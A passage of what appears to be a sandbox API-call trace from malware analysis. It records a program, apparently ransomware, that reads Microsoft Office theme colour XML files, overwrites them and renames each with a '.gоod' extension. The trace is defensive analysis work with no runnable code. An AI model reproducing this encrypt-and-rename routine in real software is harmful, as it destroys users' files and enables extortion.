lpBuffer=0x36a9560*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0145.887] CloseHandle (hObject=0x7f8) returned 1 [0145.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml", lpFilePart=0x0) returned 0x50 [0145.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml.gоod", lpFilePart=0x0) returned 0x55 [0145.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0145.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x532be6c9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0145.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0145.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Green.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\green.xml.gоod")) returned 1 [0145.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", lpFilePart=0x0) returned 0x52 [0145.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0145.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), fInfoLevelId=0x0, lpFileInformation=0x36aa838 | out: lpFileInformation=0x36aa838*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d1)) returned 1 [0145.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0145.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", lpFilePart=0x0) returned 0x52 [0145.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0145.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0145.889] GetFileType (hFile=0x7f8) returned 0x1 [0145.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0145.889] GetFileType (hFile=0x7f8) returned 0x1 [0145.889] GetFileSize (in: hFile=0x7f8, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2d1 [0145.889] ReadFile (in: hFile=0x7f8, lpBuffer=0x36aadd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x36aadd8*, lpNumberOfBytesRead=0x200ec818*=0x2d1, lpOverlapped=0x0) returned 1 [0145.891] CloseHandle (hObject=0x7f8) returned 1 [0146.791] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", lpFilePart=0x0) returned 0x52 [0146.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0146.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0146.792] GetFileType (hFile=0x61c) returned 0x1 [0146.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0146.792] GetFileType (hFile=0x61c) returned 0x1 [0146.792] WriteFile (in: hFile=0x61c, lpBuffer=0x3ac9018*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3ac9018*, lpNumberOfBytesWritten=0x200ec728*=0x2e0, lpOverlapped=0x0) returned 1 [0146.793] CloseHandle (hObject=0x61c) returned 1 [0146.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml", lpFilePart=0x0) returned 0x52 [0146.793] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml.gоod", lpFilePart=0x0) returned 0x57 [0146.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0146.793] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x53b62d56, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2e0)) returned 1 [0146.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0146.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Marquee.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\marquee.xml.gоod")) returned 1 [0146.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", lpFilePart=0x0) returned 0x51 [0146.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0146.794] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), fInfoLevelId=0x0, lpFileInformation=0x3aca2f0 | out: lpFileInformation=0x3aca2f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1 [0146.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0146.794] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", lpFilePart=0x0) returned 0x51 [0146.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0146.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0146.795] GetFileType (hFile=0x61c) returned 0x1 [0146.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0146.795] GetFileType (hFile=0x61c) returned 0x1 [0146.795] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e4 [0146.795] ReadFile (in: hFile=0x61c, lpBuffer=0x3aca8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3aca8a0*, lpNumberOfBytesRead=0x200ec818*=0x2e4, lpOverlapped=0x0) returned 1 [0146.798] CloseHandle (hObject=0x61c) returned 1 [0147.485] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", lpFilePart=0x0) returned 0x51 [0147.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0147.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.486] GetFileType (hFile=0x7fc) returned 0x1 [0147.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0147.486] GetFileType (hFile=0x7fc) returned 0x1 [0147.486] WriteFile (in: hFile=0x7fc, lpBuffer=0x36fcad0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x36fcad0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0147.487] CloseHandle (hObject=0x7fc) returned 1 [0147.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml", lpFilePart=0x0) returned 0x51 [0147.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml.gоod", lpFilePart=0x0) returned 0x56 [0147.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0147.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x541f1697, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0147.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0147.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Median.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\median.xml.gоod")) returned 1 [0147.488] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5d [0147.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0147.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), fInfoLevelId=0x0, lpFileInformation=0x36fdda8 | out: lpFileInformation=0x36fdda8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ee)) returned 1 [0147.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0147.488] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5d [0147.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0147.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0147.488] GetFileType (hFile=0x7fc) returned 0x1 [0147.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0147.488] GetFileType (hFile=0x7fc) returned 0x1 [0147.488] GetFileSize (in: hFile=0x7fc, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2ee [0147.488] ReadFile (in: hFile=0x7fc, lpBuffer=0x36fe3c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x36fe3c0*, lpNumberOfBytesRead=0x200ec818*=0x2ee, lpOverlapped=0x0) returned 1 [0147.490] CloseHandle (hObject=0x7fc) returned 1 [0148.882] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5d [0148.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0148.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7fc [0148.883] GetFileType (hFile=0x7fc) returned 0x1 [0148.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0148.883] GetFileType (hFile=0x7fc) returned 0x1 [0148.883] WriteFile (in: hFile=0x7fc, lpBuffer=0x37ed198*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x37ed198*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0148.884] CloseHandle (hObject=0x7fc) returned 1 [0148.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml", lpFilePart=0x0) returned 0x5d [0148.884] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml.gоod", lpFilePart=0x0) returned 0x62 [0148.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0148.884] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54f4aaa3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0148.884] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0148.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Office 2007 - 2010.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\office 2007 - 2010.xml.gоod")) returned 1 [0148.885] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", lpFilePart=0x0) returned 0x55 [0148.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0148.885] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ee4b8 | out: lpFileInformation=0x37ee4b8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0149.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0149.190] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", lpFilePart=0x0) returned 0x55 [0149.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.190] GetFileType (hFile=0x804) returned 0x1 [0149.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.191] GetFileType (hFile=0x804) returned 0x1 [0149.191] GetFileSize (in: hFile=0x804, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e8 [0149.191] ReadFile (in: hFile=0x804, lpBuffer=0x380b768, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x380b768*, lpNumberOfBytesRead=0x200ec818*=0x2e8, lpOverlapped=0x0) returned 1 [0149.192] CloseHandle (hObject=0x804) returned 1 [0149.230] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", lpFilePart=0x0) returned 0x55 [0149.230] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0149.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x804 [0149.231] GetFileType (hFile=0x804) returned 0x1 [0149.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0149.231] GetFileType (hFile=0x804) returned 0x1 [0149.231] WriteFile (in: hFile=0x804, lpBuffer=0x3883cb0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3883cb0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0149.232] CloseHandle (hObject=0x804) returned 1 [0149.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml", lpFilePart=0x0) returned 0x55 [0149.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml.gоod", lpFilePart=0x0) returned 0x5a [0149.233] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0149.233] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x55291eb1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0149.233] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0149.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange Red.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange red.xml.gоod")) returned 1 [0149.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", lpFilePart=0x0) returned 0x51 [0149.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0149.234] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\orange.xml"), fInfoLevelId=0x0, lpFileInformation=0x3884fa0 | out: lpFileInformation=0x3884fa0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1139e160, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0149.234] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0149.234] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Orange.xml", lpFilePart=0x0) 